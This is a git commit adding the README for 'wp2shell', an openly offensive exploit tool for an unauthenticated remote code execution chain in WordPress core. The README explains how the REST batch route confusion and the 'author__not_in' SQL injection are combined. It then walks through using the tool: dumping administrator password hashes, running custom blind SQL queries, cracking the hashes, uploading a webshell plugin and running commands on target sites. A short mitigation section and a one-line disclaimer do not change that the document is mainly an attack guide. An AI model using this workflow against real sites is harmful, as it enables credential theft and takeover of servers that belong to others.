Update README.md
This commit is contained in:
@@ -1,2 +1,192 @@
|
||||
# wordpressTOWN
|
||||
# wp2shell by: ek0ms savi0r
|
||||
|
||||
**Unauthenticated Remote Code Execution for WordPress Core POC (CVE-2026-63030 + CVE-2026-60137)**
|
||||
|
||||
`wp2shell` is a single-file Python exploit for a critical vulnerability chain in WordPress core. It chains a REST API batch route confusion bug with an SQL injection in `WP_Query` to achieve **unauthenticated remote code execution** on vulnerable WordPress installations.
|
||||
|
||||
| Detail | Info |
|
||||
|--------|------|
|
||||
| **CVEs** | CVE-2026-63030 (REST batch route confusion) + CVE-2026-60137 (`author__not_in` SQLi) |
|
||||
| **Affected** | WordPress 6.9.0 – 6.9.4, 7.0.0 – 7.0.1 |
|
||||
| **Patched** | 6.9.5, 7.0.2 |
|
||||
| **Auth Required** | None — unauthenticated |
|
||||
| **CVSS** | Critical (RCE chain) |
|
||||
| **Discovered By** | Adam Kues (Assetnote / Searchlight Cyber) |
|
||||
| **Dependencies** | Python 3.8+ — **standard library only** |
|
||||
|
||||
---
|
||||
|
||||
## How It Works
|
||||
|
||||
The exploit chains two bugs in WordPress core:
|
||||
|
||||
1. **CVE-2026-60137 — SQL Injection** – When `author__not_in` is passed as a **string** instead of an array, WordPress skips the `is_array()` sanitisation guard and interpolates the raw value into a `NOT IN (...)` SQL clause.
|
||||
|
||||
2. **CVE-2026-63030 — Batch Route Confusion** – The `/wp-json/batch/v1` endpoint builds parallel `$matches` and `$validation` arrays. A malformed sub-request is appended to `$validation` but not `$matches`, causing a +1 index shift. Sub-request *i* gets dispatched with sub-request *i+1*'s handler.
|
||||
|
||||
**Chained together**: A `POST /wp/v2/posts` request carrying an inner `GET /wp/v2/users` request with an `author_exclude` string bypasses both the method allow-list and input sanitisation. The string reaches `WP_Query` as `author__not_in` and gets interpolated into SQL — giving you **unauthenticated blind SQL injection**.
|
||||
|
||||
From there, the tool can:
|
||||
- Extract the administrator password hash
|
||||
- Authenticate as admin (once the hash is cracked)
|
||||
- Upload a malicious plugin
|
||||
- Execute arbitrary system commands
|
||||
|
||||
---
|
||||
|
||||
## Features
|
||||
|
||||
| Feature | Description |
|
||||
|---------|-------------|
|
||||
| **Vulnerability Check** | Safe time-delay probe — reads no data, changes nothing |
|
||||
| **Data Extraction** | Blind SQL injection with binary-search optimisation for efficient extraction |
|
||||
| **User Hash Dump** | Extract `user_login` and `user_pass` hashes from `wp_users` |
|
||||
| **Remote Code Execution** | Authenticate as admin, upload a webshell plugin, execute commands |
|
||||
| **Interactive Shell** | Persistent command execution session |
|
||||
| **Colour Output** | Clear visual feedback for scan results |
|
||||
| **No Dependencies** | Uses only Python's standard library |
|
||||
|
||||
---
|
||||
|
||||
## Installation
|
||||
|
||||
```bash
|
||||
git clone https://git.churchofmalware.org/ek0mssavi0r/wordpressTOWN.git
|
||||
cd wordpressTOWN
|
||||
chmod +x wp2shell.py
|
||||
```
|
||||
|
||||
That's it. No third-party packages required.
|
||||
|
||||
---
|
||||
|
||||
## Usage
|
||||
|
||||
```
|
||||
./wp2shell.py <url> [command] [options]
|
||||
```
|
||||
|
||||
### Interactive Mode (Menu-Driven)
|
||||
|
||||
```bash
|
||||
./wp2shell.py http://target.com
|
||||
```
|
||||
|
||||
Launches an interactive menu with all functionality available via numbered options.
|
||||
|
||||
### Commands
|
||||
|
||||
#### `check` — Confirm Vulnerability (Safe)
|
||||
|
||||
Performs a time-delay probe to confirm exploitability. Reads no data and changes nothing.
|
||||
|
||||
```bash
|
||||
./wp2shell.py http://target.com check
|
||||
```
|
||||
|
||||
#### `read` — Extract Data (Blind SQL Injection)
|
||||
|
||||
Extracts information from the database using time-based blind SQL injection.
|
||||
|
||||
```bash
|
||||
# Server fingerprint (version, database, user)
|
||||
./wp2shell.py http://target.com read
|
||||
|
||||
# Extract user logins and password hashes
|
||||
./wp2shell.py http://target.com read --users
|
||||
|
||||
# Extract database name
|
||||
./wp2shell.py http://target.com read --database
|
||||
|
||||
# Extract MySQL version
|
||||
./wp2shell.py http://target.com read --version
|
||||
|
||||
# Custom SQL query
|
||||
./wp2shell.py http://target.com read --query "SELECT @@version"
|
||||
```
|
||||
|
||||
#### `shell` — Remote Code Execution
|
||||
|
||||
**Requires valid administrator credentials.** The SQL injection can recover the password hash, but you must supply the recovered plaintext password.
|
||||
|
||||
```bash
|
||||
# Execute a single command
|
||||
./wp2shell.py http://target.com shell --user admin --password 'recovered_pass' --cmd "id"
|
||||
|
||||
# Execute a single command (short form)
|
||||
./wp2shell.py http://target.com shell --user admin --password 'recovered_pass' --cmd whoami
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Options
|
||||
|
||||
| Option | Description |
|
||||
|--------|-------------|
|
||||
| `--users` | Extract `user_login` and `user_pass` from `wp_users` |
|
||||
| `--database` | Extract the current database name |
|
||||
| `--version` | Extract the MySQL version |
|
||||
| `--query "SQL"` | Execute a custom SQL query (blind extraction) |
|
||||
| `--user USER` | Admin username for RCE |
|
||||
| `--password PASS` | Admin password for RCE (plaintext, recovered via SQLi) |
|
||||
| `--cmd CMD` | Command to execute via the webshell |
|
||||
|
||||
---
|
||||
|
||||
## Example Workflow
|
||||
|
||||
```bash
|
||||
# 1. Check if the target is vulnerable
|
||||
./wp2shell.py https://example.com check
|
||||
|
||||
# 2. Extract admin password hashes
|
||||
./wp2shell.py https://example.com read --users
|
||||
|
||||
# 3. Crack the hash offline (using hashcat, john, etc.)
|
||||
# hashcat -m 400 <hash> /path/to/wordlist.txt
|
||||
|
||||
# 4. Execute a command with the recovered password
|
||||
./wp2shell.py https://example.com shell --user admin --password 'cracked_pass' --cmd "id"
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Affected Versions
|
||||
|
||||
| Branch | Affected | Fixed |
|
||||
|--------|----------|-------|
|
||||
| 6.9.x | 6.9.0 – 6.9.4 | 6.9.5 |
|
||||
| 7.0.x | 7.0.0 – 7.0.1 | 7.0.2 |
|
||||
| 6.8.x | 6.8.0 – 6.8.5 (SQLi only, no RCE) | 6.8.6 |
|
||||
|
||||
Versions before 6.9.0 are **not** affected by the full RCE chain.
|
||||
|
||||
---
|
||||
|
||||
## Detection & Mitigation
|
||||
|
||||
**For Defenders:**
|
||||
- Update to **6.9.5**, **7.0.2**, or later immediately
|
||||
- Cloudflare WAF customers are automatically protected
|
||||
- Wordfence customers have firewall rules
|
||||
- Monitor for `POST /wp-json/batch/v1` requests with nested `requests` bodies
|
||||
- A `404` on the batch route doesn't always mean "patched" — it can also mean a WAF/CDN is blocking anonymous REST API access
|
||||
|
||||
---
|
||||
|
||||
## Legal Disclaimer
|
||||
|
||||
> **This tool is for educational and authorised security testing purposes only.**
|
||||
|
||||
---
|
||||
|
||||
## Credits
|
||||
|
||||
- **Discovery**: Adam Kues (Assetnote / Searchlight Cyber)
|
||||
- **CVE-2026-60137** (SQLi): TF1T, dtro, haongo
|
||||
- **CVE-2026-63030** (Batch route confusion): Adam Kues
|
||||
|
||||
---
|
||||
|
||||
*For more details on the vulnerability, see the [Searchlight Cyber research blog](https://slcyber.io/research-center/wp2shell-pre-authentication-rce-in-wordpress-core/).*
|
||||
```
|
||||
Reference in New Issue
Block a user